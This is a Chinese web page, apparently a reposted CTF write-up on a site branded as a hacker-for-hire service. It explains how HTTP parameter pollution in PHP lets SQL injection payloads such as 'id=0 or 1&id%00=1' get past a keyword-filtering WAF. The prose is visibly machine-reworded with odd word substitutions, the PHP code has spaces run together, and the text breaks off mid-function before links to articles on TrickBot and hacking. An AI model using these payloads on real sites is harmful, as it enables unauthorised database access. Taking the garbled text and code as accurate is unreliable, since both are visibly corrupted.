PHP的两个特性导致waf绕过注入

访客5年前黑客工具577

1、HPP HTTP参数污染
HTTP参数污染指的是,在URL中提交相同键值的两个参数时,服务器端一般会进行一些处理。比方Apache就要以最终一个参数为准,比方:
user.php?id=111&id=222
假如输出$_GET数组,则id的值只会取222,即URL上提交的多余值覆盖了前一个值。
2、一个CTF标题
关于注入的waf绕过,注入点为:
$sql="select * from user where id=".$_REQUEST["id"].";";
能够看到了REQUEST进行传递,而且存在如下的waf代码:
    functionwaf($str) { 
        if(stripos($str,"select")!==false) 
            die("Be a good person!"); 
        if(stripos($str,"union")!==false) 
            die("Be a good person!"); 
        ...... 
    }   
      
    functionwafArr($arr) { 
        foreach($arras$k=> $v) { 
            waf($k); 
            waf($v); 
        } 
    }   
      
    wafArr($_GET); 
    wafArr($_POST); 
    wafArr($_COOKIE); 
    wafArr($_SESSION);  
      
    functionstripStr($str) { 
        if(get_magic_quotes_gpc()) 
            $str= stripslashes($str); 
        returnaddslashes(htmlspecialchars($str, ENT_QUOTES, 'UTF-8')); 
    }   
      
    $uri= explode("?",$_SERVER['REQUEST_URI']); 
    if(isset($uri[1])) { 
        $parameter= explode("&",$uri[1]); 
        foreach($parameteras$k=> $v) { 
            $v1= explode("=",$v); 
            if(isset($v1[1])) { 
                $_REQUEST[$v1[0]] = stripStr($v1[1]); 
            } 
        } 
    }   
      
    functionstripArr($arr) { 
        $new_arr= array(); 
        foreach($arras$k=> $v) { 
            $new_arr[stripStr($k)] = stripStr($v); 
        } 
        return$new_arr; 
    }   
      
    $_GET=stripArr($_GET); 
    $_POST=stripArr($_POST); 
    $_COOKIE=stripArr($_COOKIE); 
    $_SESSION=stripArr($_SESSION);
这儿运用了waf函数分别对GET POST SESSION COOKIE数据进行过滤,而且对这些大局数组进行转义。
值得注意的是,这儿的$_REQUEST是代码中从头依据$_SERVER[‘REQUEST_URI’]进行拼接,在拼接过程中将参数值进行转义操作。
(1)思路1  运用HPP特性
看似不太可能存在注入,可是运用HPP能够完成。
示例代码:
user.php?id=0 or 1&id%00=1 
user.php?id=0 or 1&%20id=1 
user.php?id=0 or 1?&id=1
测验代码:
      
    function stripArr($arr) { 
        $new_arr = array(); 
        foreach ($arr as $k => $v) { 
            $new_arr[stripStr($k)] = stripStr($v); 
        } 
        return $new_arr; 
    } 
     
    function stripStr($str) { 
        if (get_magic_quotes_gpc()) 

[1] [2]  黑客接单网

相关文章

针对HTTP的躲藏攻击面剖析(中)

为了增强用户体会度,现代Web网站架构中都包含了各式各样的“躲藏体系”,这些体系不只能够给用户供给各种额定的服务,并且还能够协助管理员提取网站各方面的剖析数据。可是,这些躲藏体系相同也是近些年里常常被...

ASIS CTF - 三个魔法Web关WriteUp

榜首眼看这个应战,通常是过滤一些字符或许添加一些约束来阻挠指令履行,我经过输入&id到addr域,成功回来履行成果,能够确认这是一道指令履行的应战题。 下一步咱们来找出过滤和约束。经过测验,咱...

TrickBot新动态解析:近万行代码的Dropper和滥用ADS机制-黑客接单平台

TrickBot是自2019年以来影响规模最大的银行木马之一,经过几年的开展,现在的trickBot或许现已脱离了简略的“银行木马”的领域,它的模块化特点将歹意软件提高到了更高的水平。事实上,它能够被...

Java Web 工程源代码安全审计实战,第 1 部分: 跨站 XSS

 Java Web 运用安全问题日益严峻。源代码审计能够防备于未然。源代码审计人员要经过实战审计练习,才干熟练掌握 Java Web 源代码安全思路和技巧。 前语 Web 运用是互联网运用的重要方式...

Trickbot参加长途使用凭据盗取功用

2019年11月,Trend Micro研究人员发现一个含有暗码盗取模块的Trickbot变种,该暗码盗取模块能够从很多的运用中盗取凭据。2019年1月,研究人员发现一个参加了多个功用的Trickbo...

某HR业务网站逻辑漏洞挖掘案例以及POC编写思路分享-黑客接单平台

东西预备 BurpSuiteFree (或许咱们最喜爱最常用的抓包神器,需求Java环境); 火狐浏览器(个人比较喜爱的浏览器;360/Chrome等浏览器都能够); SwitchyOmega插件(设...